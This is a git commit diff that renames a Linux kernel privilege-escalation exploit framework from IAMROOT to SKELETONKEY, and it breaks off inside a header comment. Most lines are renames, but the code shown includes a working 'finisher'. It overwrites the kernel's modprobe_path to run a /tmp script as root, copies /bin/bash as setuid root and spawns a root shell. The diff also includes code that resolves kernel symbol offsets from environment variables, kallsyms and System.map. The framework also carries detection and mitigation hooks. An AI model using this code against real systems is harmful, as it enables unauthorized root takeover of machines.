rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
+25
-25
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers
|
||||
* SKELETONKEY — shared finisher helpers
|
||||
*
|
||||
* See finisher.h for the pattern split (A: modprobe_path overwrite,
|
||||
* B: current->cred->uid).
|
||||
@@ -30,7 +30,7 @@ static int write_file(const char *path, const char *content, mode_t mode)
|
||||
return 0;
|
||||
}
|
||||
|
||||
void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name)
|
||||
{
|
||||
fprintf(stderr,
|
||||
"[i] %s --full-chain requires kernel symbol offsets that couldn't be resolved.\n"
|
||||
@@ -38,7 +38,7 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
" To populate them on this host, choose ONE of:\n"
|
||||
"\n"
|
||||
" 1) Environment override (one-shot, no host changes):\n"
|
||||
" IAMROOT_MODPROBE_PATH=0x... iamroot --exploit %s --i-know --full-chain\n"
|
||||
" SKELETONKEY_MODPROBE_PATH=0x... skeletonkey --exploit %s --i-know --full-chain\n"
|
||||
"\n"
|
||||
" 2) Make /boot/System.map-$(uname -r) world-readable (per-host):\n"
|
||||
" sudo chmod 0644 /boot/System.map-$(uname -r) # if you have sudo\n"
|
||||
@@ -54,26 +54,26 @@ void iamroot_finisher_print_offset_help(const char *module_name)
|
||||
module_name, module_name);
|
||||
}
|
||||
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
if (!iamroot_offsets_have_modprobe_path(off)) {
|
||||
iamroot_finisher_print_offset_help("module");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
if (!skeletonkey_offsets_have_modprobe_path(off)) {
|
||||
skeletonkey_finisher_print_offset_help("module");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!arb_write) {
|
||||
fprintf(stderr, "[-] finisher: no arb-write primitive supplied\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Per-pid working paths so concurrent runs don't collide. */
|
||||
pid_t pid = getpid();
|
||||
char mp_path[64], trig_path[64], pwn_path[64];
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/iamroot-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/iamroot-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/iamroot-pwn-%d", (int)pid);
|
||||
snprintf(mp_path, sizeof mp_path, "/tmp/skeletonkey-mp-%d.sh", (int)pid);
|
||||
snprintf(trig_path, sizeof trig_path, "/tmp/skeletonkey-trig-%d", (int)pid);
|
||||
snprintf(pwn_path, sizeof pwn_path, "/tmp/skeletonkey-pwn-%d", (int)pid);
|
||||
|
||||
/* Payload: chmod /bin/bash setuid root + drop a sentinel so we
|
||||
* know it ran. Bash 4+ refuses to use its own setuid bit by
|
||||
@@ -81,14 +81,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
char payload[1024];
|
||||
snprintf(payload, sizeof payload,
|
||||
"#!/bin/sh\n"
|
||||
"# IAMROOT modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"# SKELETONKEY modprobe_path payload (runs as init/root via call_modprobe)\n"
|
||||
"cp /bin/bash %s 2>/dev/null && chmod 4755 %s 2>/dev/null\n"
|
||||
"echo IAMROOT_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
"echo SKELETONKEY_FINISHER_RAN > %s 2>/dev/null\n",
|
||||
pwn_path, pwn_path, pwn_path);
|
||||
|
||||
if (write_file(mp_path, payload, 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", mp_path, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Unknown-format trigger: anything that fails the standard exec
|
||||
@@ -97,7 +97,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
if (write_file(trig_path, "\x00", 0755) < 0) {
|
||||
fprintf(stderr, "[-] finisher: write %s: %s\n", trig_path, strerror(errno));
|
||||
unlink(mp_path);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Build the kernel-side write payload: a NUL-terminated path to
|
||||
@@ -114,7 +114,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: arb_write failed\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Fire the trigger by exec'ing the unknown binary. fork() so the
|
||||
@@ -129,7 +129,7 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
waitpid(cpid, &st, 0);
|
||||
} else {
|
||||
fprintf(stderr, "[-] finisher: fork: %s\n", strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Modprobe runs asynchronously — give the kernel up to 3 s. */
|
||||
@@ -146,14 +146,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr, "[-] finisher: payload didn't run within 3s (modprobe_path overwrite probably didn't land)\n");
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
|
||||
have_setuid:
|
||||
if (!spawn_shell) {
|
||||
fprintf(stderr, "[+] finisher: --no-shell — leaving setuid bash at %s\n", pwn_path);
|
||||
unlink(mp_path);
|
||||
unlink(trig_path);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fprintf(stderr, "[+] finisher: spawning root shell via %s -p\n", pwn_path);
|
||||
fflush(stderr);
|
||||
@@ -161,11 +161,11 @@ have_setuid:
|
||||
execve(pwn_path, argv, NULL);
|
||||
/* Only reached on execve failure. */
|
||||
fprintf(stderr, "[-] finisher: execve(%s): %s\n", pwn_path, strerror(errno));
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell)
|
||||
{
|
||||
@@ -173,7 +173,7 @@ int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
fprintf(stderr,
|
||||
"[-] finisher: cred_uid_zero requires an arb-READ primitive (to walk\n"
|
||||
" the task list from init_task and find current). Modules with\n"
|
||||
" only an arb-write should use iamroot_finisher_modprobe_path()\n"
|
||||
" only an arb-write should use skeletonkey_finisher_modprobe_path()\n"
|
||||
" instead — same root capability, simpler trigger.\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
+19
-19
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — shared finisher helpers for full-chain root pops.
|
||||
* SKELETONKEY — shared finisher helpers for full-chain root pops.
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
|
||||
* write, slab UAF, etc.). The conversion to root is almost always one
|
||||
@@ -21,11 +21,11 @@
|
||||
* Pattern (B) needs a self-cred chase + multiple writes.
|
||||
*
|
||||
* Modules provide their own arb-write primitive via the
|
||||
* iamroot_arb_write_fn callback; this file wraps the rest.
|
||||
* skeletonkey_arb_write_fn callback; this file wraps the rest.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_FINISHER_H
|
||||
#define IAMROOT_FINISHER_H
|
||||
#ifndef SKELETONKEY_FINISHER_H
|
||||
#define SKELETONKEY_FINISHER_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
@@ -35,7 +35,7 @@
|
||||
/* Arb-write primitive: write `len` bytes from `buf` to kernel VA
|
||||
* `kaddr`. Module-specific implementation. Returns 0 on success,
|
||||
* negative on failure. `ctx` is opaque module state. */
|
||||
typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
typedef int (*skeletonkey_arb_write_fn)(uintptr_t kaddr,
|
||||
const void *buf, size_t len,
|
||||
void *ctx);
|
||||
|
||||
@@ -43,22 +43,22 @@ typedef int (*iamroot_arb_write_fn)(uintptr_t kaddr,
|
||||
* groomed slab THEN call the trigger. The trigger is a separate fn
|
||||
* because some modules need to re-spray before each write. NULL is
|
||||
* acceptable if the arb-write is self-contained. */
|
||||
typedef int (*iamroot_fire_trigger_fn)(void *ctx);
|
||||
typedef int (*skeletonkey_fire_trigger_fn)(void *ctx);
|
||||
|
||||
/* Pattern A: modprobe_path overwrite + execve trigger. Caller has
|
||||
* already populated `off->modprobe_path`. Implementation:
|
||||
* 1. Write payload script to /tmp/iamroot-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/iamroot-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/iamroot-trig-<pid>
|
||||
* 1. Write payload script to /tmp/skeletonkey-mp-<pid>
|
||||
* 2. arb_write(off->modprobe_path, "/tmp/skeletonkey-mp-<pid>", 24)
|
||||
* 3. Write unknown-format file to /tmp/skeletonkey-trig-<pid>
|
||||
* 4. chmod +x both, execve() the trigger → kernel-call-modprobe
|
||||
* → our payload runs as root → payload writes /tmp/iamroot-pwn
|
||||
* → our payload runs as root → payload writes /tmp/skeletonkey-pwn
|
||||
* and/or copies /bin/bash to /tmp with setuid root
|
||||
* 5. Wait for sentinel file, exec'd the setuid-bash → root shell
|
||||
*
|
||||
* Returns IAMROOT_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), IAMROOT_EXPLOIT_FAIL otherwise. */
|
||||
int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
* Returns SKELETONKEY_EXPLOIT_OK if we got a root shell back (verified
|
||||
* via geteuid() == 0), SKELETONKEY_EXPLOIT_FAIL otherwise. */
|
||||
int skeletonkey_finisher_modprobe_path(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
@@ -67,14 +67,14 @@ int iamroot_finisher_modprobe_path(const struct iamroot_kernel_offsets *off,
|
||||
* 1. Walk task linked list from init_task to find self by pid
|
||||
* (this requires arb-READ too — not supplied here; B-pattern
|
||||
* modules need to provide their own variant)
|
||||
* For now this is a STUB returning IAMROOT_EXPLOIT_FAIL with a
|
||||
* For now this is a STUB returning SKELETONKEY_EXPLOIT_FAIL with a
|
||||
* helpful error. */
|
||||
int iamroot_finisher_cred_uid_zero(const struct iamroot_kernel_offsets *off,
|
||||
iamroot_arb_write_fn arb_write,
|
||||
int skeletonkey_finisher_cred_uid_zero(const struct skeletonkey_kernel_offsets *off,
|
||||
skeletonkey_arb_write_fn arb_write,
|
||||
void *arb_ctx,
|
||||
bool spawn_shell);
|
||||
|
||||
/* Diagnostic: tell the operator how to populate offsets manually. */
|
||||
void iamroot_finisher_print_offset_help(const char *module_name);
|
||||
void skeletonkey_finisher_print_offset_help(const char *module_name);
|
||||
|
||||
#endif /* IAMROOT_FINISHER_H */
|
||||
#endif /* SKELETONKEY_FINISHER_H */
|
||||
|
||||
+2
-2
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel_range implementation
|
||||
* SKELETONKEY — kernel_range implementation
|
||||
*/
|
||||
|
||||
#include "kernel_range.h"
|
||||
@@ -19,7 +19,7 @@ bool kernel_version_current(struct kernel_version *out)
|
||||
if (uname(&u) < 0) return false;
|
||||
|
||||
/* Stash release string for callers that want to print it. We hold
|
||||
* a single static buffer; not threadsafe but iamroot is single-
|
||||
* a single static buffer; not threadsafe but skeletonkey is single-
|
||||
* threaded today. */
|
||||
snprintf(g_release_buf, sizeof(g_release_buf), "%s", u.release);
|
||||
out->release = g_release_buf;
|
||||
|
||||
+4
-4
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel version range matching
|
||||
* SKELETONKEY — kernel version range matching
|
||||
*
|
||||
* Every CVE module needs to answer "is the host kernel in the affected
|
||||
* range?". This file centralizes that.
|
||||
@@ -17,8 +17,8 @@
|
||||
* patch version is at or above the threshold.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_KERNEL_RANGE_H
|
||||
#define IAMROOT_KERNEL_RANGE_H
|
||||
#ifndef SKELETONKEY_KERNEL_RANGE_H
|
||||
#define SKELETONKEY_KERNEL_RANGE_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
@@ -56,4 +56,4 @@ bool kernel_version_current(struct kernel_version *out);
|
||||
bool kernel_range_is_patched(const struct kernel_range *r,
|
||||
const struct kernel_version *v);
|
||||
|
||||
#endif /* IAMROOT_KERNEL_RANGE_H */
|
||||
#endif /* SKELETONKEY_KERNEL_RANGE_H */
|
||||
|
||||
+30
-30
@@ -1,49 +1,49 @@
|
||||
/*
|
||||
* IAMROOT — core module interface
|
||||
* SKELETONKEY — core module interface
|
||||
*
|
||||
* Every CVE module exports one or more `struct iamroot_module` entries
|
||||
* via a registry function. The top-level dispatcher (iamroot.c) walks
|
||||
* Every CVE module exports one or more `struct skeletonkey_module` entries
|
||||
* via a registry function. The top-level dispatcher (skeletonkey.c) walks
|
||||
* the global registry to implement --scan, --exploit, --mitigate, etc.
|
||||
*
|
||||
* This is intentionally a small interface. Modules carry the
|
||||
* complexity; the dispatcher just routes.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_MODULE_H
|
||||
#define IAMROOT_MODULE_H
|
||||
#ifndef SKELETONKEY_MODULE_H
|
||||
#define SKELETONKEY_MODULE_H
|
||||
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
/* Standard result codes returned by detect()/exploit()/mitigate().
|
||||
*
|
||||
* These map to top-level exit codes when iamroot is invoked with a
|
||||
* These map to top-level exit codes when skeletonkey is invoked with a
|
||||
* single-module operation:
|
||||
*
|
||||
* IAMROOT_OK exit 0 detect: not vulnerable / clean
|
||||
* IAMROOT_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* IAMROOT_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* IAMROOT_TEST_ERROR exit 1 detect/exploit: error
|
||||
* IAMROOT_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* IAMROOT_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
* SKELETONKEY_OK exit 0 detect: not vulnerable / clean
|
||||
* SKELETONKEY_VULNERABLE exit 2 detect: confirmed vulnerable
|
||||
* SKELETONKEY_PRECOND_FAIL exit 4 detect: preconditions missing
|
||||
* SKELETONKEY_TEST_ERROR exit 1 detect/exploit: error
|
||||
* SKELETONKEY_EXPLOIT_OK exit 5 exploit: succeeded (root achieved)
|
||||
* SKELETONKEY_EXPLOIT_FAIL exit 3 exploit: attempted but did not land
|
||||
*
|
||||
* Implementation note: copy_fail_family's df_result_t shares these
|
||||
* numeric values intentionally so the family code can return its
|
||||
* existing constants without translation.
|
||||
*/
|
||||
typedef enum {
|
||||
IAMROOT_OK = 0,
|
||||
IAMROOT_TEST_ERROR = 1,
|
||||
IAMROOT_VULNERABLE = 2,
|
||||
IAMROOT_EXPLOIT_FAIL = 3,
|
||||
IAMROOT_PRECOND_FAIL = 4,
|
||||
IAMROOT_EXPLOIT_OK = 5,
|
||||
} iamroot_result_t;
|
||||
SKELETONKEY_OK = 0,
|
||||
SKELETONKEY_TEST_ERROR = 1,
|
||||
SKELETONKEY_VULNERABLE = 2,
|
||||
SKELETONKEY_EXPLOIT_FAIL = 3,
|
||||
SKELETONKEY_PRECOND_FAIL = 4,
|
||||
SKELETONKEY_EXPLOIT_OK = 5,
|
||||
} skeletonkey_result_t;
|
||||
|
||||
/* Per-invocation context passed to module callbacks. Lightweight for
|
||||
* now; will grow as modules need shared state (host fingerprint,
|
||||
* leaked kbase, etc.). */
|
||||
struct iamroot_ctx {
|
||||
struct skeletonkey_ctx {
|
||||
bool no_color; /* --no-color */
|
||||
bool json; /* --json (machine-readable output) */
|
||||
bool active_probe; /* --active (do invasive probes in detect) */
|
||||
@@ -52,8 +52,8 @@ struct iamroot_ctx {
|
||||
bool full_chain; /* --full-chain (attempt root-pop after primitive) */
|
||||
};
|
||||
|
||||
struct iamroot_module {
|
||||
/* Short id used on the command line: `iamroot --exploit copy_fail`. */
|
||||
struct skeletonkey_module {
|
||||
/* Short id used on the command line: `skeletonkey --exploit copy_fail`. */
|
||||
const char *name;
|
||||
|
||||
/* CVE identifier (or "VARIANT" if no CVE assigned). */
|
||||
@@ -71,20 +71,20 @@ struct iamroot_module {
|
||||
const char *kernel_range;
|
||||
|
||||
/* Probe the host. Should be side-effect-free unless ctx->active_probe
|
||||
* is true. Return IAMROOT_VULNERABLE if confirmed,
|
||||
* IAMROOT_PRECOND_FAIL if not applicable here, IAMROOT_OK if patched
|
||||
* or otherwise immune, IAMROOT_TEST_ERROR on probe error. */
|
||||
iamroot_result_t (*detect)(const struct iamroot_ctx *ctx);
|
||||
* is true. Return SKELETONKEY_VULNERABLE if confirmed,
|
||||
* SKELETONKEY_PRECOND_FAIL if not applicable here, SKELETONKEY_OK if patched
|
||||
* or otherwise immune, SKELETONKEY_TEST_ERROR on probe error. */
|
||||
skeletonkey_result_t (*detect)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Run the exploit. Caller has already passed the --i-know gate. */
|
||||
iamroot_result_t (*exploit)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*exploit)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Apply a temporary mitigation. NULL if none offered. */
|
||||
iamroot_result_t (*mitigate)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*mitigate)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Undo --exploit (e.g. evict from page cache) or --mitigate side
|
||||
* effects. NULL if no cleanup applies. */
|
||||
iamroot_result_t (*cleanup)(const struct iamroot_ctx *ctx);
|
||||
skeletonkey_result_t (*cleanup)(const struct skeletonkey_ctx *ctx);
|
||||
|
||||
/* Detection rule corpus — embedded so the binary is self-
|
||||
* contained. Each may be NULL if this module ships no rules for
|
||||
@@ -96,4 +96,4 @@ struct iamroot_module {
|
||||
const char *detect_falco; /* falco rules content */
|
||||
};
|
||||
|
||||
#endif /* IAMROOT_MODULE_H */
|
||||
#endif /* SKELETONKEY_MODULE_H */
|
||||
|
||||
+22
-22
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* See offsets.h for the four-source chain (env → kallsyms → System.map
|
||||
* → embedded table). This implementation is deliberately small and
|
||||
@@ -69,7 +69,7 @@ static const struct table_entry kernel_table[] = {
|
||||
#define DEFAULT_CRED_EFF_OFFSET 0x740
|
||||
#define DEFAULT_CRED_UID_OFFSET 0x4
|
||||
|
||||
const char *iamroot_offset_source_name(enum iamroot_offset_source src)
|
||||
const char *skeletonkey_offset_source_name(enum skeletonkey_offset_source src)
|
||||
{
|
||||
switch (src) {
|
||||
case OFFSETS_NONE: return "none";
|
||||
@@ -117,42 +117,42 @@ static void read_distro(char *out, size_t sz)
|
||||
/* ------------------------------------------------------------------
|
||||
* Source 1: environment variables
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
static void apply_env(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
const char *v;
|
||||
uintptr_t a;
|
||||
|
||||
if ((v = getenv("IAMROOT_KBASE")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_KBASE")) && parse_addr(v, &a)) {
|
||||
if (!o->kbase) o->kbase = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_MODPROBE_PATH")) && parse_addr(v, &a)) {
|
||||
if (!o->modprobe_path) {
|
||||
o->modprobe_path = a;
|
||||
o->source_modprobe = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_POWEROFF_CMD")) && parse_addr(v, &a)) {
|
||||
if (!o->poweroff_cmd) o->poweroff_cmd = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_TASK")) && parse_addr(v, &a)) {
|
||||
if (!o->init_task) {
|
||||
o->init_task = a;
|
||||
o->source_init_task = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_INIT_CRED")) && parse_addr(v, &a)) {
|
||||
if (!o->init_cred) o->init_cred = a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_REAL")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_real) {
|
||||
o->cred_offset_real = (uint32_t)a;
|
||||
o->source_cred = OFFSETS_FROM_ENV;
|
||||
}
|
||||
}
|
||||
if ((v = getenv("IAMROOT_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_CRED_OFFSET_EFF")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_offset_eff) o->cred_offset_eff = (uint32_t)a;
|
||||
}
|
||||
if ((v = getenv("IAMROOT_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if ((v = getenv("SKELETONKEY_UID_OFFSET")) && parse_addr(v, &a)) {
|
||||
if (!o->cred_uid_offset) o->cred_uid_offset = (uint32_t)a;
|
||||
}
|
||||
}
|
||||
@@ -162,8 +162,8 @@ static void apply_env(struct iamroot_kernel_offsets *o)
|
||||
* the same "ADDR TYPE NAME" format).
|
||||
* ------------------------------------------------------------------ */
|
||||
static int parse_symfile(const char *path,
|
||||
struct iamroot_kernel_offsets *o,
|
||||
enum iamroot_offset_source tag)
|
||||
struct skeletonkey_kernel_offsets *o,
|
||||
enum skeletonkey_offset_source tag)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return 0;
|
||||
@@ -225,7 +225,7 @@ static int parse_symfile(const char *path,
|
||||
* Source 4: embedded table — relative offsets, applied on top of kbase
|
||||
* if we already have one.
|
||||
* ------------------------------------------------------------------ */
|
||||
static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
static void apply_table(struct skeletonkey_kernel_offsets *o)
|
||||
{
|
||||
if (!o->kernel_release[0]) return;
|
||||
|
||||
@@ -268,7 +268,7 @@ static void apply_table(struct iamroot_kernel_offsets *o)
|
||||
/* ------------------------------------------------------------------
|
||||
* Top-level resolve()
|
||||
* ------------------------------------------------------------------ */
|
||||
int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
int skeletonkey_offsets_resolve(struct skeletonkey_kernel_offsets *out)
|
||||
{
|
||||
memset(out, 0, sizeof *out);
|
||||
|
||||
@@ -313,7 +313,7 @@ int iamroot_offsets_resolve(struct iamroot_kernel_offsets *out)
|
||||
return critical;
|
||||
}
|
||||
|
||||
void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
void skeletonkey_offsets_apply_kbase_leak(struct skeletonkey_kernel_offsets *off,
|
||||
uintptr_t leaked_kbase)
|
||||
{
|
||||
if (!leaked_kbase) return;
|
||||
@@ -322,18 +322,18 @@ void iamroot_offsets_apply_kbase_leak(struct iamroot_kernel_offsets *off,
|
||||
apply_table(off);
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_modprobe_path(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_modprobe_path(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->modprobe_path != 0;
|
||||
}
|
||||
|
||||
bool iamroot_offsets_have_cred(const struct iamroot_kernel_offsets *off)
|
||||
bool skeletonkey_offsets_have_cred(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
return off && off->init_task != 0 && off->cred_offset_real != 0
|
||||
&& off->cred_uid_offset != 0;
|
||||
}
|
||||
|
||||
void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
void skeletonkey_offsets_print(const struct skeletonkey_kernel_offsets *off)
|
||||
{
|
||||
fprintf(stderr, "[i] offsets: release=%s distro=%s\n",
|
||||
off->kernel_release[0] ? off->kernel_release : "?",
|
||||
@@ -341,10 +341,10 @@ void iamroot_offsets_print(const struct iamroot_kernel_offsets *off)
|
||||
fprintf(stderr, "[i] offsets: kbase=0x%lx modprobe_path=0x%lx (%s)\n",
|
||||
(unsigned long)off->kbase,
|
||||
(unsigned long)off->modprobe_path,
|
||||
iamroot_offset_source_name(off->source_modprobe));
|
||||
skeletonkey_offset_source_name(off->source_modprobe));
|
||||
fprintf(stderr, "[i] offsets: init_task=0x%lx (%s) cred_real=0x%x cred_eff=0x%x uid=0x%x (%s)\n",
|
||||
(unsigned long)off->init_task,
|
||||
iamroot_offset_source_name(off->source_init_task),
|
||||
skeletonkey_offset_source_name(off->source_init_task),
|
||||
off->cred_offset_real, off->cred_offset_eff, off->cred_uid_offset,
|
||||
iamroot_offset_source_name(off->source_cred));
|
||||
skeletonkey_offset_source_name(off->source_cred));
|
||||
}
|
||||
|
||||
+17
-17
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* IAMROOT — kernel offset resolution
|
||||
* SKELETONKEY — kernel offset resolution
|
||||
*
|
||||
* The 🟡 PRIMITIVE modules each have a trigger that lands a primitive
|
||||
* (heap-OOB write, UAF, etc.). Converting that to root requires
|
||||
@@ -10,7 +10,7 @@
|
||||
* Those addresses vary per kernel build. This file resolves them at
|
||||
* runtime via a four-source chain:
|
||||
*
|
||||
* 1. env vars (IAMROOT_MODPROBE_PATH, IAMROOT_INIT_TASK, ...)
|
||||
* 1. env vars (SKELETONKEY_MODPROBE_PATH, SKELETONKEY_INIT_TASK, ...)
|
||||
* 2. /proc/kallsyms (only useful when kptr_restrict=0 or already root)
|
||||
* 3. /boot/System.map-$(uname -r) (world-readable on some distros)
|
||||
* 4. Embedded table keyed by `uname -r` glob (entries are
|
||||
@@ -22,14 +22,14 @@
|
||||
* pointing the operator at the manual workflow.
|
||||
*/
|
||||
|
||||
#ifndef IAMROOT_OFFSETS_H
|
||||
#define IAMROOT_OFFSETS_H
|
||||
#ifndef SKELETONKEY_OFFSETS_H
|
||||
#define SKELETONKEY_OFFSETS_H
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
enum iamroot_offset_source {
|
||||
enum skeletonkey_offset_source {
|
||||
OFFSETS_NONE = 0,
|
||||
OFFSETS_FROM_ENV = 1,
|
||||
OFFSETS_FROM_KALLSYMS = 2,
|
||||
@@ -37,13 +37,13 @@ enum iamroot_offset_source {
|
||||
OFFSETS_FROM_TABLE = 4,
|
||||
};
|
||||
|
||||
struct iamroot_kernel_offsets {
|
||||
struct skeletonkey_kernel_offsets {
|
||||
/* Host fingerprint */
|
||||
char kernel_release[128]; /* uname -r */
|
||||
char distro[64]; /* parsed from /etc/os-release ID= */
|
||||
|
||||
/* Kernel base — needed when offsets are relative-to-_text.
|
||||
